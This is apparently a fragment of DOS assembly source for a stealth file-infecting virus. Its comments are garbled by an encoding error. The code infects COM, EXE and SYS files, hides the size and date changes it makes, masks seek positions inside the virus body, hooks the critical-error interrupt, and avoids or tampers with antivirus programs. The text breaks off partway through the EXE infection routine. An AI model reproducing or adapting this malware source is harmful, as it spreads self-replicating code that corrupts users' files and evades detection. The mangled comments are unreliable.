굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 FixVirus: call SaveRegs ; 貰魚젺���� 誓（飡昔� mov si,2ch ; �� 細ι��⑧ 2C � PSP 魚젺ⓥ碎 醒，��� mov ds,cs:[si] ; �む拾��⑨ xor si,si ; ��ㄳ�獸˚� � 稅젺ⓣ�쥯�⑧ �む拾��⑨ mvs es,cs ; ES:DI -> 캙�젹β� �む拾��⑨ winbootdir lea di,windows FxD: call compare ; 蓀젪����� 姉�Д�ⓥ� �젩ギ췅 winbootdir jz FxedI ; � 瀞ⅸぎ� �む拾��⑨ �� DS:SI cmp w [si],0 ; �昔´夕� 췅 �ぎ��젺⑨ ∥�첓 ＋�줎レ�音 jz FxOUT ; 캙�젹β昔� inc si ; Þ좂� 瑟�エ曄��� Þㄵめ� �む拾��⑨ jmp FxD ; ⓤ첓筍 쩆レ蜈 FxedI: lodsb ; ℓα� �� 獸レぎ 與か, �� ι� 聲�齧� α筍 JZ xor al,'=' ; ��ⓤ� �ぎ��젺⑨ º��� ��誓Д���� jnz FxedI ; '=' mov ah,60h ; "TRUENAME" - CANONICALIZE FILENAME OR PATH lea di,stacks ; DS:SI - ㄸ誓も�黍� MD, ES:DI - 췅� ▲芯� int 21h lea di,stacks ; DI - 誓㎯レ�졻 mvs ds,cs ; 信�젺�˚� DS 췅 醒，��� ˘說�� xor al,al ; ��ⓤ� �乘� � 誓㎯レ�졻� mov cx,256 ; ��ⓤ� � �젵��� 256-殊 줎⒱ cld repne scasb jnz FxOUT ; �音�� � 笹晨젰 �鼇―� dec di ; DI 丞젳猶젰� 췅 ��レ � ㄸ誓も�黍� cmp b [di-1],'\' ; �昔´夕� ㄲ�þ�． \\ jnz $+3 dec di mov bx,di ; ㅳ∥ⓣ�쥯��� 丞젳졻�ワ lea si,files ; SI 丞젳猶젰� 췅 召ⓤ�� �젵ギ� ㄻ� Þ芯も� FxVI: cmp b [si],0 ; ‘レ蜈 �β ┘設�? jz FxOUT ; � 將�� 笹晨젰 �音�� mov di,bx ; ぎ�ⓣ�쥯��� º��� �曄誓誓ㄽ�� lodsb ; ┘設�� stosb or al,al jnz $-4 mov ax,1857h ; �留�� ˛呻誓��ⅸ 押�ゆĿ ˘說�� lea dx,stacks ; ㄻ� Þ十與昔쥯�⑨ �젵쳽 �� DS:DX int 21h jmp FxVI ; ˇ汀� 笹ⅳ莘蟯� �젵� FxOUT: call LoadRegs ; ¡遜�젺�˙���� 誓（飡昔� ret 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; Open/Close SFT - ��ㄿ昔｀젹쵟 ㄻ� 쭬む淫⑨/�洙贍殊� ��席젷彛�� SFT 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 OpenSFT: call SaveRegs ; 貰魚젺���� 誓（飡昔� mov si,0 ; "Open" jmp Manipulate CloseSFT: call SaveRegs ; 貰魚젺���� 誓（飡昔� mov si,1 ; "Close" Manipulate: mov bp,bx ; 貰魚젺���� handle call ioctl ; �昔´夕�, 將� �젵� Œ� chardevice jc SFT_Error mov ax,1220h ; ��ャ曄��� JFT ㄻ� 將�． �젵쳽 int 2fh jc SFT_Error xor bx,bx mov bl,es:[di] ; BL = System file entry cmp bl,0ffh je SFT_Error mov ax,1216h ; ��ャ曄��� 젮誓�� SFT � ES:DI int 2fh jc SFT_Error mov bx,bp ; ¡遜�젺�˙���� handle call Inf_Check ; �昔´夕� Þ十與昔쥯���飡� �젵쳽 jnc SFT_Error ; �音�� � 笹晨젰 葉飡�． �젵쳽 mov eax,vsize cmp si,0 ; "Open"? jz open neg eax open: add es:[di+11h],eax ; 貰魚젺���� � SFT �젳Д�� mov dx,es:[di+0fh] ; ��ャ曄��� 쩆瞬 �젵쳽 call hidestm ; 稅贍殊� エ鈺ⓨ 100 ゥ� cmp si,0 ; "Open"? jnz clsft ror dh,1 ; 瑟�エ曄��� 쩆瞬 �젵쳽 add dh,100 rol dh,1 clsft: mov es:[di+0fh],dx ; 貰魚젺���� �㎚������� 쩆瞬 SFT_Error: call LoadRegs ; ¡遜�젺�˙���� 誓（飡昔� ret 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; size stealth ; ES:SI -> 꽑�� �젵쳽 ; ES:DI -> 꽞Þ� �젵쳽 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 sizst: mov dx,es:[si] ; dx = 쩆�� �젵쳽 call hidestm ; 쵟稅ⓣ�˚� � �昔´夕� 100 エ鈺ⓨ ゥ� jnc oklen ; �젵� Þ十與昔쥯�? mov W es:[si],dx ; 信�젺�˘筍 ��席젷彛莘 쩆栒 �젵쳽 sub W es:[di],vsize ; 쵟稅ⓣ�˚� �黍�좈��⑨ ㄻÞ� �젵쳽 sbb W es:[di+2],0 oklen: ret hidestm: push dx ; 貰魚젺ⓥ� 쩆栒 � 飡ⅹ� shr dh,1 ; ��ャ葉筍 ．� �젵쳽 cmp dh,100 ; 蓀젪����� ⅲ� � 100 pop dx ; ¡遜�젺�˘筍 쩆栒 jb okinf ror dh,1 ; ��ャ葉筍 ．� �젵쳽 sub dh,100 ; 召涉�졻� エ鈺ⅴ rol dh,1 ; stc ; �젵� 쭬�젲��! ret okinf: clc ret correctdate: mov ax,5700h ; 信�젺�˚� 쩆瞬 �젵쳽 � 쭬˘歲М飡� call int21 ; �� 獸．, 쭬�젲�� エ �� call HideStm ; ��席젷彛좑 쩆�� call Inf_Check ; �昔´黍筍 �젵� 췅 쭬�젲����飡� jnc okdat ror dh,1 add dh,100 rol dh,1 okdat: mov ax,5701h ; 信�젺�˚� �洙�薛ⅹ殊昔쥯���� call int21 ; 쩆瞬 �젵쳽 ret 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; 뤲�´夕� º��� �젵쳽 (AVs) ; 뤲�´夕� �졹鼇誓�⑨ �젵쳽 (Extens) ; 뤲� SAVE_AX=4B00 ㄾ줎˙���� 캙�젹β昔� � cmdline 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 Filename: call SaveRegs ; 貰魚젺���� 誓（飡昔� cld mov si,dx ; 細ι���� º��� � Þㄵめ�硫 誓（飡� nfind: lodsb ; ��ⓤ� º��� �젵쳽 cmp al,':' ; � 췅蜈� 笹晨젰 ��� ▲ㄵ� 笹ⅳ�쥯筍 jz separ ; 쭬 ��笹ⅳ�º "/", "\", ":" cmp al,'\' jz separ cmp al,'/' jnz store separ: mov dx,si ; 貰魚젺ⓥ� 細ι���� store: or al,al ; �昔´夕� ぎ��� 飡昔え (0) jnz nfind mov si,dx ; SI -> º� �젵쳽 xor di,di ; �졹鼇誓��� ��첓 �� 췅ħ��� gext: lodsb cmp al,'.' ; �졹鼇誓���? jnz $+4 mov di,si or al,al jnz gext or di,di ; αエ 獸曄� � º�ⅷ �젵쳽 jz Bad_File ; �∼졷拾��� �� 〓ギ lea bp,[di-1] ; 醒⑴졹 BP-�졹鼇誓��� �젵쳽, DX-ⅲ� º� mvs es,cs ; ES=CS cmp cs:save_ax,4b00h jne no_add mov si,dx ; SI -> º� �젵쳽 lea di,prms ; �젩エ囹� (兒席졻: avname,0,0,cmdline,0dh) scancmd: call compare ; 蓀젪����� º��� 쭬�信첓�М� �昔｀젹щ jz addprm ; � �誓ㅳ細�循���臾 º���� �� �젩エ劣 mov al,0dh mov cx,0ffffh repne scasb cmp b cs:[di],0 ; ぎ�ζ �젩エ劣? jnz scancmd ; � �젩エ璵 º� �� 췅ħ��� - 쭬�申�췅 jmp no_add ; ㅰ膝좑 �昔｀젹쵟 addprm: push es ; 貰魚젺���� ES mov al,0 mov cx,0ffffh repne scasb lea si,[di+1] les bx,d cs:save_bx ; 쭬｀習첓 � ES:BX 젮誓�� EPB les bx,es:[bx+2] ; 쭬｀習첓 젮誓�� ぎ쵟�ㄽ�� 飡昔え � ES:BX mov di,bx getdx: inc di ; 稅젺ⓣ濕� ぎ쵟�ㄽ莘 飡昔ゃ cmp b es:[di],0dh ; ぎ�ζ 飡昔え? jnz getdx mov cx,-1 ; 淞β葉� ㄻÞ� ㄾ��キⓥ�レ��． 캙�젹β�� lods b cs:[si] ; 쭬｀習첓 줎⒱� 캙�젹β�� stosb ; 貰魚젺���� 줎⒱� 캙�젹β�� inc cx ; 瑟�エ曄��� 淞β葉첓 cmp al,0dh ; �昔´夕� 췅 �ぎ��젺�� 캙�젹β�� jnz $-6 add es:[bx],cl ; 瑟�エ曄��� ㄻÞ� ぎ쵟�ㄽ�� 飡昔え pop es ; ¡遜�젺�˙���� ES no_add: mov si,bp lea di,extens ; ES:DI 丞젳猶좐� 췅 �젩エ軟 � call compare ; �젳誓蜈��臾� �졹鼇誓�⑨Ж jnz Bad_File ; �ⅹ�薛ⅹ狩�� �졹鼇誓���? mov al,[si+1] ; 쭬｀習첓 ��舒�． 줎⒱� �졹鼇誓�⑨ call upreg ; ��誓¡� � ´齧�Ł 誓（飡� mov cs:host,al ; 信�젺�˚� 氏젫� mov si,dx ; SI -> º� �젵쳽 lea di,AVs ; ES:DI -> �젩エ�� � º�췅Ж call compare ; 蓀젪����� º�� jz Bad_File ; �쪜츖�蜈� º� call LoadRegs ; ¡遜�젺�˙���� 誓（飡昔� clc ; �葉飡첓 CF ret Bad_File: call LoadRegs ; ¡遜�젺�˙���� 誓（飡昔� stc ; 信�젺�˚� CF ret 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇� ; 信�젺�˚� 줎⒱� STF � 쭬˘歲М飡� �� 收ゃ耀． PSP/MCB ; 줎⒱ �젪�� 1 αエ 收ゃ蟯� MCB �黍췅ㄻⅵⓥ �昔｀젹Д �� STLOCK ; 줎⒱ �젪�� 0 αエ ˙젮�ゥ� 收ゃ耀． MB �� 쭬誓（飡黍昔쥯� � STLOCK 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇� mcbcheck: call SaveRegs ; 貰魚젺���� 誓（飡昔� mov ah,62h ; 쭬�昔� 醒，���� 收ゃ耀． PSP call int21 dec bx ; ��ャ曄��� 醒，���� MCB mov ds,bx ; DS:SI 丞젳猶좐� 췅 ˙젮�レ�� MB mov si,08h ; lea di,stlock ; ES:DI 丞젳猶좐� 췅 췅� mvs es,cs ; 召ⓤ�� º�� STLOCK call compare ; 蓀젪����� 쩆��音 sete cs:stf ; 信�젺�˚� 飡�メ-氏젫� call LoadRegs ; ¡遜�젺�˙���� 誓（飡昔� ret ; �音�� �� ��ㄿ昔｀젹щ 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇� ; COMPARE - 蓀젪����� 쩆��音 ; DS:SI - ⓤ獸嶺Ø ; ES:DI - �젩エ�� (Data1,0,Data2,0,...,DataN,0,0) ; 귣若�: ZF = 1 � 笹晨젰 貰¿젮��⑨ 쩆��音 ; 맓（飡� 쳽殊�稅ⓨ ▲あ ㎛좂��⑨ �� ºⅴ� 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇� compare: call SaveRegs ; 貰魚젺���� 誓（飡昔� mov dx,si ; ㅳ∥ⓣ�쥯��� 細ι��⑨ ⓤ獸嶺Ø� data1: mov si,dx ; ¡遜�젺�˙���� 細ι��⑨ ⓤ獸嶺Ø� data2: mov al,ds:[si] ; 譽��⑨ 줎⒱� ⓤ獸嶺Ø� mov ah,es:[di] ; 譽��⑨ 줎⒱� �젩エ劣 inc di ; 瑟�エ曄��� Þㄵめ�音 誓（飡昔� inc si ; call upreg ; ��誓¡� 歲Б�ギ� � ´齧�Ł 誓（飡� or ah,ah ; αエ � �젩エ璵 �□젳�쥯メ� 0 => jz equal ; => 쩆��瑜 貰¿젷� cmp al,ah ; Þ좂� ��줎⒱��� 蓀젪����� jz data2 ; αエ 줎⒱� 貰¿젷�, �昔´涉�� 쩆レ蜈 data3: cmp B es:[di],0 ; 〓⒱� �� 貰¿젷�, ‥誓� 笹ⅳ莘耀� jz data4 ; ��ゥ inc di jmp data3 data4: inc di cmp B es:[di],0 ; �昔´夕� 췅 ��笹ⅳ�傳 쭬�ⓤ� � jnz data1 ; �젩エ璵 call LoadRegs ; �젩エ�� ぎ�葉쳽刷: 貰¿젮��Ł �� 췅ħ��� cmp di,-1 ; �葉飡첓 ZF ret ; �音�� �� ��ㄿ昔｀젹щ equal: call LoadRegs ; ¡遜�젺�˙���� 誓（飡昔� cmp al,al ; 信�젺�˚� ZF ret ; �音�� �� ��ㄿ昔｀젹щ 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; Gets a random value [0..AX] 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 xrandom: push bx cx dx si di mov si,ax mov ax,cs:random1 mov bx,cs:random2 mov cx,ax mov di,8405h mul di shl cx,3 add ch,cl add dx,cx add dx,bx shl bx,2 add dx,bx add dh,bl shl bx,5 add dh,bl add ax,1 adc dx,0 mov cs:random1,ax mov cs:random2,dx or si,si jz rnd_exit xor dx,dx div si xchg ax,dx rnd_exit: pop di si dx cx bx ret 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇� ; ��ㄿ昔｀젹щ ㄻ� 信�젺�˚�/說汀⑨ ´も��� �誓贍쥯�⑨ ; むⓥ①αえ� �鼇‘� int 24h 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇� Hook24: call SaveRegs ; 貰魚젺���� � ��誓罌졻 xor ax,ax ; ´も��� �誓贍쥯�⑨ むⓥ①αえ� mov ds,ax ; �鼇‘� int 24h mov si,24h*4 mov dx,cs lea ax,int24 xchg ax,[si] xchg dx,[si+2] mov cs:io24,ax mov cs:io24+2,dx call LoadRegs ret Remove24: call SaveRegs ; ¡遜�젺�˙���� ´も��� int 24h xor ax,ax mov ds,ax mov si,24h*4 mov ax,cs:io24 mov dx,cs:io24+2 mov [si],ax mov [si+2],dx call LoadRegs ret 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; ��ㄿ昔｀젹щ ㄻ� �젩�瞬 � �젵쳽Ж 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 RestoreFileAttributesA: push ax bx cx dx ds mov ax,7143h mov cx,4301h mov bx,1 call LFNAPI_Check mov dx,cs:fn_ptr mov ds,cs:fn_ptr+2 mov cx,cs:Attrib test cl,1 jz noRFA call int21 noRFA: pop ds dx cx bx ax ret ClearFileAttributesA: push ax bx cx dx mov ax,7143h xor bx,bx mov cx,4300h call LFNAPI_Check call int21 jc NoFA mov cs:Attrib,cx mov cs:fn_ptr,dx mov cs:fn_ptr+2,ds test cl,1 jz NoFA mov ax,7143h mov bx,1 mov cx,4301h call LFNAPI_Check mov cx,20h call int21 jc NoFA NoFA: pop dx cx bx ax ret CreateFileA: push ax cx dx si mov ax,716ch mov cx,6c00h call LFNAPI_Check mov bx,2 xor cx,cx mov si,dx mov dx,1 call int21 xchg ax,bx pop si dx cx ax ret LFNAPI_Check: push ax cx bx mov ax,71a1h mov bx,-1 call int21 or al,al jz noLFNAPI pop bx cx ax ret noLFNAPI: pop bx ax cx ret GetDate: ; ��ャ曄��� №�Д�� � 쩆瞬 mov ax,5700h ; ��笹ⅳ�ⅸ 쭬�ⓤ� � �젵� call int21 mov cs:time,cx mov cs:date,dx ret RestDate: ; ¡遜�젺�˙���� №�Д�� � 쩆瞬 mov ax,5701h ; �젵쳽 mov cx,cs:time mov dx,cs:date call int21 ret Write: mov ah,40h ; 쭬�ⓤ� � �젵� call int21 ret Read: mov ah,3fh ; 譽���� �� �젵쳽 call int21 ret CloseFile: mov ah,3eh ; 쭬む淫�� �젵쳽 call int21 ret SeekSave: call SaveRegs ; 貰魚젺���� ��㎤與� xor cx,cx ; 丞젳졻�ワ (lseek) � �젵ゥ xor dx,dx call seekfrom_cur mov cs:seek_pos,ax mov cs:seek_pos+2,dx call LoadRegs ret RestoreSeek: call SaveRegs ; ¡遜�젺�˙���� 貰魚젺����� mov dx,cs:seek_pos ; ��㎤與� 丞젳졻�ワ � �젵ゥ mov cx,cs:seek_pos+2 call seekfrom_bof call LoadRegs ret seek2bof: mov ax,4200h ; 信�젺�˚� 丞젳졻�ワ 췅 xor cx,cx ; 췅�젷� �젵쳽 xor dx,dx jmp realseek seek2eof: mov ax,4202h ; 信�젺�˚� 丞젳졻�ワ 췅 xor cx,cx ; ぎ�ζ �젵쳽 xor dx,dx jmp realseek seekfrom_eof: mov ax,4202h ; 信�젺�˚� 丞젳졻�ワ jmp realseek ; �� ぎ��� �젵쳽 seekfrom_cur: mov ax,4201h ; 信�젺�˚� 丞젳졻�ワ jmp realseek ; �� 收ゃ耀� ��㎤與� seekfrom_bof: mov ax,4200h ; 信�젺�˚� 丞젳졻�ワ ; �� 췅�젷� �젵쳽 realseek: call int21 ret 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇� ; �□젩�洵Ø int 24h 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇� int24: mov al,3 ; Fail caller iret 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇� ; �醒∃� int 21h 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇� int21: pushf ; 쭬��� � 飡ⅹ 氏젫�� � ぎㄾ¡． push cs ; 醒，���� call exithandler ; 承�젪ゥ��� ´惜β碎 �� 젮誓率 � 飡ⅹ� ret 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; �昔´夕� �젵쳽 (ㄸ稅��硫?) 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ioctl: push ax dx ; 貰魚젺���� 誓（飡昔� mov ax,4400h ; IOCTL - GET DEVICE INFORMATION call int21 jc chkd ; DOS ´惜乘 貰�↓���� �� �鼇―� sub dl,10000000b ; �昔´夕� 〃�� ��Д� 7 cmc chkd: pop dx ax ret 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; ��誓¡� ㄲ愼 쳽殊�稅ⓨ 歲Б�ギ� � AH � AL � ´齧�Ł 誓（飡� 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 upreg: xchg al,ah ; Д�畑� Д飡젹� AL � AH call upral ; ��誓¡ㄸ� � ´齧�Ł 誓（飡� 〓�鼇� AH xchg al,ah ; ¡遜�젺젪エ쥯�� ��ギ┘��� AL � AH call upral ; ��誓¡ㄸ� � ´齧�Ł 誓（飡� AL ret ; �音�� �� ��ㄿ昔｀젹щ upral: cmp al,'a' ; �昔´夕� 췅 췅若┐���� AL jb noupr ; � Þ收舒젷� �� 61h ㄾ 74h cmp al,'z' ja noupr sub al,20h ; ��誓¡� � ´齧�Ł 誓（飡� noupr: ret 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; SeekHide ; αエ ��㎤與� lseek 췅若ㄸ恂� 췅 收ゥ ˘說��, ��ㄿ昔｀젹쵟 ��誓��歲� ⅲ� ; 췅 ｀젺ⓩ� ˘說�� � 쭬�젲����� �昔｀젹щ, �.�. 췅 ぎ�ζ 葉飡�� �昔｀젹щ ; SEEK_POS 貰ㄵ逝졻 ��㏂� ��㎤與� lseek ; NRBYTES 僧��麟젰恂� 췅 �젳��飡� ㄲ愼 ��㎤與� 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 seekhide: call SaveRegs ; 貰魚젺���� 誓（飡昔� call SeekSave ; 貰魚젺畑� 收ゃ耀� ��ギ┘��� 丞젳졻�ワ mov cx,-1 ; ㄲª젰� 丞젳졻�レ 췅 ｀젺ⓩ� ˘說�� � mov dx,-vsize ; �昔｀젹щ call seekfrom_eof ; DX:AX - ．ギ쥯 ˘說�� sub ax,cs:seek_pos ; SEEK_POS - 飡졷좑 ��㎤與� sbb dx,cs:seek_pos+2 cmp dx,-1 ; DX:AX ㄾウ�� 〓筍 �循ⓩ졻�レ�臾 jnz not_us or ax,ax jns not_us neg ax ; ��ャ曄��� �젳��飡� ��㎤與� sub cs:nrbytes,ax ; 僧��麟���� ぎエ曄飡쥯 �昔葉�젺�音 줎⒱�� sub cs:seek_pos,ax ; 僧��麟���� ��㎤與� 丞젳졻�ワ � �젵ゥ sbb cs:seek_pos,0 ; �.�. 細ι���� ⅴ 췅 ．ギ㏂ ˘說�� not_us: call RestoreSeek ; ¡遜�젺�˙���� ��㎤與� 丞젳졻�ワ call LoadRegs ; ¡遜�젺�˙���� 誓（飡昔� ret 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; ��ㅱ曄� CRC ˘說�� 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 crc: push si cx lea si,shield mov cx,end_crc-shield call crc32 pop cx si ret CRC32: push ebx ecx edx esi edi ds cld mov di,cx mov ecx,-1 mov edx,ecx mvs ds,cs NextByteCRC: xor eax,eax xor ebx,ebx lodsb xor al,cl mov cl,ch mov ch,dl mov dl,dh mov dh,8 NextBitCRC: shr bx,1 rcr ax,1 jnc NoCRC xor ax,08320h xor bx,0edb8h NoCRC: dec dh jnz NextBitCRC xor ecx,eax xor edx,ebx dec di jnz NextByteCRC not edx not ecx mov eax,edx rol eax,16 mov ax,cx pop ds edi esi edx ecx ebx ret 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; Þ十與昔쥯��� handle 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 Infect_Handle: push cs cs ; ds � es ��첓㏓쥯荻 췅 췅� pop ds es call ioctl ; �昔´夕� �젵쳽 췅 十もÐ��飡� (disk file?) jc close call Inf_Check ; �昔´夕� �젵쳽 췅 ��™�惜�� 쭬�젲���� jc close mov cx,32 ; 譽���� 쭬．ギ˚� �젵쳽 lea dx,original call read cmp cx,ax ; DOS ´惜乘 ㏇� 쭬�昔蜈��瑜 ㄻ� jne close ; 譽��⑨ 줎⒱�? lea si,original ; 誠�쳽筍 ぎ�⑧ �黍（췅レ��． lea di,header ; 췅�젷� �昔｀젹щ mov cx,32 cld rep movsb lea di,header cmp host,"S" ; �昔´夕� 췅 .SYS 殊� jz sysinfect mov ax,[di] ; ˇ汀� � ax ��舒瑜 2 줎⒱� 쭬．ギ˚� cmp ax,'ZM' ; �昔´夕� 췅 EXE 殊� je exeinfect cmp ax,'MZ' ; �젶ⓨ EXE鈺Ø�� � �Ø�＄� �� ˘ㄵ� je exeinfect ; �� ．¡涉� �젶�� 〓쥯荻 jmp cominfect 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; Þ十與昔쥯��� COM �젵쳽 ; DI - 쭬．ギ¡�, ぎ獸贍� �拾�� Мㄸ十與昔쥯筍 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 cominfect: mov host,"C" ; COM file cmp w [di],-1 ; ㄻ� �誓ㄾ手�좈��⑨ 줎짛 � .SYS �젵쳽Ж jz Close ; め�졻� 將� ι� � �留�´� int 06h call seek2eof ; ��ャ曄��� �젳Д�� �젵쳽 or dx,dx ; �젳Д� �젵쳽 ‘レ蜈 65535 줎⒱? jnz Close cmp ax,65035-vsize ; �昔´夕� �젵쳽 췅 ��誓��キ���� ja Close ; Д飡� ι� �飡젪ゥ�� ��� 飡ⅹ � PSP mov b [di],0e9h ; 쭬�ⓤ� JMP mov delta,ax ; ㄾ��キⓥ�レ��� 細ι���� ㄻ� ��エМ雪� sub ax,3 ; ぎ薛ⅹ與� (Ж�信 �젳Д� jump'�) mov w [di+1],ax ; 쭬�ⓤ� 젮誓�� ��誓若쩆 jmp check 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; Þ十與昔쥯��� SYS �젵쳽 ; DI - 쭬．ギ¡�, ぎ獸贍� �拾�� Мㄸ十與昔쥯筍 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 sysinfect: mov host,"S" ; SYS file cmp d [di],-1 ; ㄵ⒰手ⓥ�レ�� ㅰ젵´�? jnz Close call seek2eof ; ��ャ曄��� �젳Д�� �젵쳽 or dx,dx ; �젳Д� �젵쳽 ‘レ蜈 65535 줎⒱? jnz Close cmp ax,65035-vsize ; �昔´夕� �젵쳽 췅 ��誓��キ���� ja Close mov w [di+8],ax ; 信�젺�˚� 細ι��⑨ �昔璵ㅳ贍 �誓贍쥯�⑨ add w [di+8],Interrupt-ksenia mov w [di+6],ax ; 信�젺�˚� 細ι��⑨ �昔璵ㅳ贍 飡�졻ⅲĿ sub ax,0100h mov delta,ax ; ㄾ��キⓥ�レ��� 細ι���� ㄻ� ��エМ雪� jmp check 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; Þ十與昔쥯��� EXE �젵쳽 ; DI - 쭬．ギ¡�, ぎ獸贍� �拾�� Мㄸ十與昔쥯筍 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 exeinfect: mov host,"E" ; EXE file cmp b [di+18h],'@' ; �昔´夕� �젵쳽 췅 �黍췅ㄻⅵ��飡� je close ; � ��¡с 醒Д⒰手� WinNE �젵ギ� mov ax,W [di+4] ; 淞ⓥ졻� 캙�젹β� PageCnt mov cx,W [di+2] ; 淞ⓥ졻� 캙�젹β� PartPag or cx,cx ; αエ ㄻÞ� ��笹ⅳ�ⅸ 飡�젺ⓩ� �젪췅 jz $+3 ; �乘�, 獸 캙�젹β� PageCnt �� 貰ㄵ逝ⓥ dec ax ; ㄾ��キⓥ�レ��� ⅳÞⓩ� mov dx,512 ; 僧��┘��� 췅 512 (��ャ曄��� 줎⒱) mul dx add ax,cx ; ��ャ曄��� ㄻÞ� �� EXE �젵쳽, ぎ獸�좑 adc dx,0 ; ｀習ⓥ碎 � 캙э筍 �黍 쭬�信ぅ 將� EXE push dx ax ; 貰魚젺ⓥ� 캙誓Д循 � 飡ⅹ� call seek2eof ; ��ャ曄��� ㄸ稅�¡． �젳Д�� �젵쳽 pop si cx ; 쭬｀習첓 캙�젹β昔� �� 飡ⅹ� cmp si,ax ; 蓀젪����� 캙�젹β昔� (�倚˙���� jnz Close ; ㏇篆ⓨ overlay 飡說も侁) cmp cx,dx jnz Close ; �曄�� ‘レ鼇� �젵ル 췅� �� ��ㅵ�ㅿ� cmp dx,10 ; 첓� ��� � 캙э筍 ｀習汀藺�??? �� �젶�� jae Close ; 〓쥯荻 (笹晨젰恂� divide overflow �IJ�) push ax dx ; 貰魚젺���� 캙�젹β昔� mov cx,16 ; ��ャ曄��� ℡�ㄽ�� 獸囹� (CS:IP), ぎ獸贍� div cx ; �졹��ギ┘�� � ぎ�璵 葉飡�． EXE 